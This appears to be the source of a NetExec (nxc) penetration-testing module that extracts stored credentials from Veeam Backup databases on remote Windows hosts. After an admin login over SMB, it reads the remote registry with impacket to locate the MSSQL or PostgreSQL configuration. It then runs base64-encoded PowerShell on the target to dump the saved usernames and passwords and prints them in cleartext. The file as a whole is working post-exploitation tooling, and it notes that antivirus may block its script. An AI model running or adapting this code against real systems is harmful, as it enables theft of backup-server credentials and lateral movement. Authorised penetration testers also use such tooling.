171 lines
8.7 KiB
Python
171 lines
8.7 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# Initially created by @sadshade, all output to him:
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# https://github.com/sadshade/veeam-output
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from impacket.dcerpc.v5.rpcrt import DCERPCException
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from impacket.dcerpc.v5 import rrp
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from impacket.examples.secretsdump import RemoteOperations
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import traceback
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from base64 import b64encode
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from nxc.helpers.powershell import get_ps_script
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class NXCModule:
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"""
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Module by @NeffIsBack, @Marshall-Hallenbeck
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"""
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name = "veeam"
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description = "Extracts credentials from local Veeam SQL Database"
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supported_protocols = ["smb"]
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opsec_safe = True
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multiple_hosts = True
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def __init__(self):
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with open(get_ps_script("veeam_dump_module/veeam_dump_mssql.ps1"), "r") as psFile:
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self.psScriptMssql = psFile.read()
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with open(get_ps_script("veeam_dump_module/veeam_dump_postgresql.ps1"), "r") as psFile:
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self.psScriptPostgresql = psFile.read()
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def options(self, context, module_options):
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"""
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No options
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"""
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pass
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def checkVeeamInstalled(self, context, connection):
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context.log.display("Looking for Veeam installation...")
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# MsSql
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SqlDatabase = ""
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SqlInstance = ""
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SqlServer = ""
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# PostgreSql
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PostgreSqlExec = ""
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PostgresUserForWindowsAuth = ""
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SqlDatabaseName = ""
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try:
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remoteOps = RemoteOperations(connection.conn, False)
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remoteOps.enableRegistry()
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ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
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regHandle = ans["phKey"]
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# Veeam v12 check
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try:
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ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations",)
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keyHandle = ans["phkResult"]
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database_config = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlActiveConfiguration")[1].split("\x00")[:-1][0]
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context.log.success("Veeam v12 installation found!")
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if database_config == "PostgreSql":
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# Find the PostgreSql installation path containing "psql.exe"
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ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\PostgreSQL Global Development Group\\PostgreSQL",)
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keyHandle = ans["phkResult"]
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PostgreSqlExec = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Location")[1].split("\x00")[:-1][0] + "\\bin\\psql.exe"
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ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\PostgreSQL",)
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keyHandle = ans["phkResult"]
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PostgresUserForWindowsAuth = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PostgresUserForWindowsAuth")[1].split("\x00")[:-1][0]
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SqlDatabaseName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
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elif database_config == "MsSql":
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ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql",)
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keyHandle = ans["phkResult"]
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SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
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SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
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SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
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except DCERPCException as e:
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if str(e).find("ERROR_FILE_NOT_FOUND"):
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context.log.debug("No Veeam v12 installation found")
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except Exception as e:
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context.log.fail(f"UNEXPECTED ERROR: {e}")
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context.log.debug(traceback.format_exc())
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# Veeam v11 check
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try:
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ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication",)
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keyHandle = ans["phkResult"]
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SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
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SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
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SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
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context.log.success("Veeam v11 installation found!")
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except DCERPCException as e:
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if str(e).find("ERROR_FILE_NOT_FOUND"):
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context.log.debug("No Veeam v11 installation found")
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except Exception as e:
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context.log.fail(f"UNEXPECTED ERROR: {e}")
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context.log.debug(traceback.format_exc())
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except NotImplementedError as e:
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pass
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except Exception as e:
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context.log.fail(f"UNEXPECTED ERROR: {e}")
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context.log.debug(traceback.format_exc())
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finally:
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try:
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remoteOps.finish()
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except Exception as e:
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context.log.debug(f"Error shutting down remote registry service: {e}")
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# Check if we found an SQL Server of some kind
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if SqlDatabase and SqlInstance and SqlServer:
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context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
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credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
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self.printCreds(context, credentials)
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elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
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context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
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credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
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self.printCreds(context, credentials)
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def stripXmlOutput(self, context, output):
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return output.split("CLIXML")[1].split("<Objs Version")[0]
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def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
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self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
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self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
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self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
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psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
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return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
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def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
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self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
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self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
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self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
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psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
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return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
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def printCreds(self, context, output):
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# Format output if returned in some XML Format
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if "CLIXML" in output:
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output = self.stripXmlOutput(context, output)
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if "Access denied" in output:
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context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
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# Stripping whitespaces and newlines
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output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()]
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# Error handling
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if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped:
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context.log.fail(output_stripped[0])
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return
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for account in output_stripped:
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user, password = account.split(" ", 1)
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password = password.replace("WHITESPACE_ERROR", " ")
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context.log.highlight(user + ":" + f"{password}")
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if ' ' in password:
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context.log.fail(f"Password contains whitespaces! The password for user \"{user}\" is: \"{password}\"")
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def on_admin_login(self, context, connection):
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self.checkVeeamInstalled(context, connection)
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